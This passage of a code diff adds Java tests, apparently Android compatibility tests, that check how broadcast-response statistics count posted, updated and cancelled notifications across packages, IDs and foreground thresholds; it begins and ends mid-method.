+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response and verify broadcast-sent
+                // count gets incremented.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Trigger a notification from test app and verify notification-posted count gets
+                // incremented.
+                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                        TEST_NOTIFICATION_CHANNEL_NAME,
+                        TEST_NOTIFICATION_CHANNEL_DESC);
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        1 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+                mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
+                        TEST_RESPONSE_STATS_ID_1);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                SystemClock.sleep(broadcastResponseWindowDurationMs);
+
+                // Trigger a notification from test app but verify counts do not get
+                // incremented as the notification is posted after the window durations is expired.
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        1 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                testReceiver.cancelAll();
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_appNotInForeground() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                updateFlagWithDelay(deviceConfigStateHelper,
+                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+                        String.valueOf(ActivityManager.PROCESS_STATE_TOP));
+
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                // Trigger a notification from test app and verify notification-posted count gets
+                // incremented.
+                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                        TEST_NOTIFICATION_CHANNEL_NAME,
+                        TEST_NOTIFICATION_CHANNEL_DESC);
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        1 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                // Bring the test app to the foreground, send the broadcast again and verify that
+                // counts do not change.
+                launchTestActivityAndWaitToBeResumed(TEST_APP_PKG, TEST_APP_CLASS);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_2));
+
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        1 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                // Change the threshold to something lower than TOP, send the broadcast again
+                // and verify that counts get incremented.
+                updateFlagWithDelay(deviceConfigStateHelper,
+                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+                        String.valueOf(ActivityManager.PROCESS_STATE_PERSISTENT));
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        2 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        1 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                mUiDevice.pressHome();
+                // Change the threshold to a process state higher than RECEIVER, send the
+                // broadcast again and verify that counts do not change.
+                updateFlagWithDelay(deviceConfigStateHelper,
+                        KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+                        String.valueOf(ActivityManager.PROCESS_STATE_HOME));
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        2 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        1 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                testReceiver.cancelAll();
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_multiplePackages() throws Exception {
+        final ArrayMap<String, BroadcastResponseStats> expectedStats = new ArrayMap<>();
+        // Initially all the counts should be empty
+        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+        final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
+        try {
+            ITestReceiver testReceiver1 = connection1.getITestReceiver();
+            ITestReceiver testReceiver3 = connection3.getITestReceiver();
+            ITestReceiver testReceiver4 = connection4.getITestReceiver();
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+            testReceiver4.cancelAll();
+
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent3 = new Intent().setComponent(new ComponentName(
+                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent4 = new Intent().setComponent(new ComponentName(
+                    TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            expectedStats.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+
+            // Send a broadcast to test-pkg3 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent3, options.toBundle());
+            expectedStats.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStats.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+
+            // Trigger a notification from test-pkg1 and verify notification-posted count gets
+            // incremented.
+            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStats.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+
+            // Trigger a notification from test-pkg3 and verify notification-posted count gets
+            // incremented.
+            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStats.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+            expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStats.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+            // Trigger a notification from test-pkg3 and verify stats remain the same
+            testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+            // Send a broadcast to test-pkg4 with a request to record response and verify
+            // broadcast-send count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent4, options.toBundle());
+            testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
+            expectedStats.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStats.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStats.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+            mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
+            expectedStats.clear();
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+            testReceiver4.cancelAll();
+        } finally {
+            connection1.unbind();
+            connection3.unbind();
+            connection4.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_multiplePackages_multipleIds() throws Exception {
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+        // Initially all the counts should be empty
+        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+        final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
+        try {
+            ITestReceiver testReceiver1 = connection1.getITestReceiver();
+            ITestReceiver testReceiver3 = connection3.getITestReceiver();
+            ITestReceiver testReceiver4 = connection4.getITestReceiver();
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+            testReceiver4.cancelAll();
+
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent3 = new Intent().setComponent(new ComponentName(
+                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent4 = new Intent().setComponent(new ComponentName(
+                    TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+
+            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+            // Trigger a notification from test-pkg1 and verify notification-posted count gets
+            // incremented.
+            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastEvents();
+            // Trigger a notification from test-pkg4 and verify notification-posted count gets
+            // incremented.
+            testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            sendBroadcastAndWaitForReceipt(intent4, options2.toBundle());
+            expectedStatsForId2.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
+                    TEST_RESPONSE_STATS_ID_2));
+            expectedStatsForId2.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
+
+            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
+            expectedStatsForId2.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
+            expectedStatsForId1.clear();
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+            testReceiver4.cancelAll();
+        } finally {
+            connection1.unbind();
+            connection3.unbind();
+            connection4.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_clearCounts_multiplePackages() throws Exception {
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+        // Initially all the counts should be empty
+        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+        try {
+            ITestReceiver testReceiver1 = connection1.getITestReceiver();
+            ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent3 = new Intent().setComponent(new ComponentName(
+                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_2));
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
+                    TEST_RESPONSE_STATS_ID_1);
+            expectedStatsForId1.clear();
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
+                    TEST_RESPONSE_STATS_ID_2);
+            expectedStatsForId2.clear();
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+        } finally {
+            connection1.unbind();
+            connection3.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_clearCounts_multipleIds() throws Exception {
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+        // Initially all the counts should be empty
+        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+        try {
+            ITestReceiver testReceiver1 = connection1.getITestReceiver();
+            ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent3 = new Intent().setComponent(new ComponentName(
+                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_2));
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, 0 /* id */);
+            expectedStatsForId1.remove(TEST_APP_PKG);
+            expectedStatsForId2.remove(TEST_APP_PKG);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP3_PKG, 0 /* id */);
+            expectedStatsForId1.remove(TEST_APP3_PKG);
+            expectedStatsForId2.remove(TEST_APP3_PKG);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+        } finally {
+            connection1.unbind();
+            connection3.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_clearAllCounts() throws Exception {
